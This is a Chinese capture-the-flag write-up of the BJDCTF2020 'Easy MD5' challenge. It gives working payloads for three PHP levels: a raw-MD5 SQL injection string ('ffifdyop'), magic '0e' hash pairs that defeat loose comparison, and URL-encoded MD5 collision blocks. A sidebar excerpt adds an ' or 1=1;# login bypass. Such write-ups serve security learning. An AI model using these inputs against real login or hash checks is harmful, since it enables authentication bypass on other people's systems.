首页 > 其他分享 >[BJDCTF2020]Easy MD5

[BJDCTF2020]Easy MD5

时间:2024-11-02 23:42:59浏览次数:6  
标签:main PHP width Easy 10px BJDCTF2020 border MD5

题目链接:https://buuoj.cn/challenges#[BJDCTF2020]Easy MD5

打开环境后如下所示。

响应包如下。

HTTP/1.1 200 OK
Server: openresty
Date: Fri, 25 Oct 2024 15:20:01 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
Vary: Accept-Encoding
X-Powered-By: PHP/7.3.13
hint: select * from 'admin' where password=md5($pass,true)
Cache-Control: no-cache
Content-Length: 3107

<!DOCTYPE html>
<html lang="zh-CN">
<head>
    <meta charset="utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <style>
        @media all and (min-width:600px) {
            * {
                /*改变width计算为包含边框和内间距*/
                box-sizing: border-box;
            }

            body {
                /*控制页面内容水平和垂直居中*/
                position: relative;
                display: flex;
                height: 550px;
                align-items: center;
                justify-content: center;
                background-size: cover;
                background-repeat: no-repeat;
            }

            /*container*/
            .container {
                border: rgba(240, 235, 235, 0.932) solid 3px;
                box-shadow: 10px 10px 10px rgba(173, 173, 173, 0.61);
                background-color: white;
                width: 30%;
                height: 20%;
                border-radius: 8px;
                position: relative;
            }

            /*container end*/

            /*header*/
            #header h1 {
                position: relative;
                text-align: center;
            }

            /*header end*/
            /*main*/
            .main {
                align-items: center;
                justify-content: center;
                position: relative;
                width: 100%;
                height: 100%;
            }

            .main section {
                width: 50%;
                margin-left: 22%;
            }

            .main section .upload {
                width: 400px;
            }

            .main section .upload .in{
                margin-top: 10%;
                border-radius:10px;
                font-size: 17px;
                color: rgba(44, 44, 44, 0.582);
                font-family: "Microsoft YaHei";
                border: rgba(240, 235, 235, 0.932) solid 3px;
                box-shadow: 10px 10px 10px rgba(173, 173, 173, 0.61);
                background-color: white;
            }

            .main section .upload .give{
                margin-left: 10px;
                border-radius:10px;
                color: rgba(44, 44, 44, 0.582);
                font-size: 17px;
                font-family: "Microsoft YaHei";
                border: white solid 3px;
                background-color: white;
            }

            /*main end*/
        }
    </style>
</head>

<body>
    <div class="container">
        <div id="header">
        </div><!-- /header end -->
        <div class="main">

            <section>
                <form class="upload" action="leveldo4.php" method="GET">
                    <input type="text" id="name" name='password' class="in">
                    <input type="submit" class="give">
                </form>
            </section>
        </div><!-- /main end -->

    </div><!-- /container end -->
    <script src="https://code.jquery.com/jquery-3.1.1.min.js"></script>
</body>

</html>









可以发现,在 HTTP 标头中存在一个 "hint",即:select * from 'admin' where password=md5($pass,true)

当 PHP 的 md5 函数的第二个参数为 True 时,输出的结果将会是原始 16 字符二进制格式,而字符串 "ffifdyop" 的 MD5 值(原始 16 字符二进制格式)为:'or'6É]™é!r,ùíb,这将会导致引号闭合,并且判断永为真。

Payload:?password=ffifdyop

题目重定向到 "levels91.php",响应包如下。

HTTP/1.1 200 OK
Server: openresty
Date: Fri, 25 Oct 2024 15:22:09 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
Vary: Accept-Encoding
X-Powered-By: PHP/7.3.13
Cache-Control: no-cache
Content-Length: 780

<!--
$a = $GET['a'];
$b = $_GET['b'];

if($a != $b && md5($a) == md5($b)){
    // wow, glzjin wants a girl friend.
-->

<!DOCTYPE html>
<html lang="zh-CN">
<head>
    <meta charset="utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <style>
        span {
            position: relative;
            display: flex;
            width: 100%;
            height: 700px;
            align-items: center;
            font-size: 70px;
            font-family:'Lucida Sans', 'Lucida Sans Regular', 'Lucida Grande', 'Lucida Sans Unicode', Geneva, Verdana, sans-serif;
            justify-content: center;
        }
    </style>
</head>

<body>
    <span>Do You Like MD5?</span>
</body>

</html>


可以看到,响应包中插入了一些注释。

<!--
$a = $GET['a'];
$b = $_GET['b'];

if($a != $b && md5($a) == md5($b)){
    // wow, glzjin wants a girl friend.
-->

这里又需要引入 PHP 的 md5 函数的另外特性,即,PHP 在处理哈希字符串时,如果通过 "!=" 或 "==" 来对哈希值进行比较时,PHP 会把每一个以 "0e" 开头的哈希值都解释为 "0",所以如果两个不同的密码经过哈希以后,其哈希值都是以 "0e" 开头的,那么 "PHP" 将会认为他们相同,都是 "0"。

// 一些哈希值为 "0e" 开头的字符串

QNKCDZO
0e830400451993494058024219903391

s878926199a
0e545993274517709034328855841020

Payload:?a=QNKCDZO&b=s878926199a

在发送 Payload 后,响应包中又提示跳转到 "levell14.php"。该文件如下所示。

题目使用了强比较对比 MD5,因此直接搜集一些相同 MD5 值,却不同的字符串进行提交即可。

Payload:param1=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2&param2=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2

标签:main,PHP,width,Easy,10px,BJDCTF2020,border,MD5
From: https://www.cnblogs.com/imtaieee/p/18522719

相关文章

  • [护网杯 2018]easy_tornado
    题目链接:https://buuoj.cn/challenges#[护网杯2018]easy_tornado打开环境后如下所示。依次访问。这里需要留意一下url,在访问flag.txt时,发现url为:/file?filename=/flag.txt&filehash=f37c974391ee4a7bc4a23cc8987e0eed。尝试将filehash参数更改掉,发现被重定向到:/er......
  • [SUCTF 2019]EasySQL
    题目链接:https://buuoj.cn/challenges#[SUCTF2019]EasySQL打开环境后,如下所示。尝试输入字符:1。尝试输入字符:0后,发现没有输出结果。尝试输入字符串"aaa"、"bbb"等后,发现都跟输入0的结果一致,而输入123、456等非0的内容,都与输入1一致,这里可以猜测(实际上需要比较......
  • MD5(Crypto)
    解题思路        打开文件发现一串代码,结合题目提示,应该是MD5加密。        找个在线的MD5解密网站,行云流水得到flag。题目设计原理题目设计:无他,MD5加密。题目原理:MD5(Message-DigestAlgorithm5):        一种广泛使用的哈希函数,它能够......
  • 【Unity移动端触控插件】Control Freak 2 - Touch Input Made Easy!
    ControlFreak2是一款专为Unity开发的插件,旨在简化触控输入的处理,特别适用于移动设备游戏。它提供了一整套易于使用的界面和控件,使开发者能够快速创建响应式的触摸输入系统,提升用户体验。主要功能多种控件支持:提供虚拟摇杆、按钮、滑块等多种触控控件,方便开发者根据......
  • [极客大挑战 2019]EasySQL
    题目链接:https://buuoj.cn/challenges#[极客大挑战2019]EasySQL。打开后,页面如下所示:可以看到,只有一个登录框,没有其他的内容,一般这种情况,应当先考虑SQL注入。在密码框中直接插入万能密码:'or1=1;#。成功获取flag。知其然,知其所以然。一些常见的登陆功能的后端实现......
  • NewStar easygui re wp
    NewStareasyguirewp参考题解:NewStarCTFweek4-CSDN博客提示先去看消息机制:深入理解windows消息机制_⒉消息队列发送消息,消息的标识可以从键盘获取,-CSDN博客大概看下64位无壳shift+f12没找到关键字符串,看看函数有个winmain点进去,都是些系统函数发现sub_14000149......
  • [BJDCTF2020]The mystery of ip
    打开靶机,根据题目提示找到如下页面抓包,尝试修改ip发现回显改变第一印象以为是xss漏洞,控制回显点,alert弹框也能正常触发却不知道接下来该怎么进行下去查阅资料发现此处是ssti模板漏洞,也就是说此处ip值作为一个变量会被执行并回显所以尝试{system("ls/")}发现目标获取flag{s......
  • MySQL和Easy-Es语法对照表
    MySQL和Easy-Es语法对照表MySQLEasy-Eses-DSL/esjavaapiandandboolQueryBuilder.must(queryBuilder)计算得分andfilterboolQueryBuilder.filter(queryBuilder)不计算得分ororboolQueryBuilder.should(queryBuilder)!notboolQueryBuilder.mustNot(query......
  • SpringBoot 快速实现 api 加密!so easy~
    SpringBoot快速实现api加密!soeasy~项目介绍什么是RSA加密举个栗子第一个场景第二个场景加密实战实战准备新建一个springboot项目引入maven依来启动类Application中添加@EnableSecurity注解在application.yml或者application.properties中添加RSA公钥及私钥对Control......
  • NVR接入录像回放平台EasyCVR私有化部署视频平台智慧农田可视化视频监控方案
    一、背景需求科技进步正推动着智慧农业成为现代农业的核心趋势。智慧农田作为智慧农业的关键组成部分,通过集成尖端视频监控技术和智能化管理工具,实现了农业生产的精细化和高效率管理。NVR接入录像回放平台EasyCVR,作为一个功能全面的综合视频监控管理平台,为智慧农田的发展提供了坚......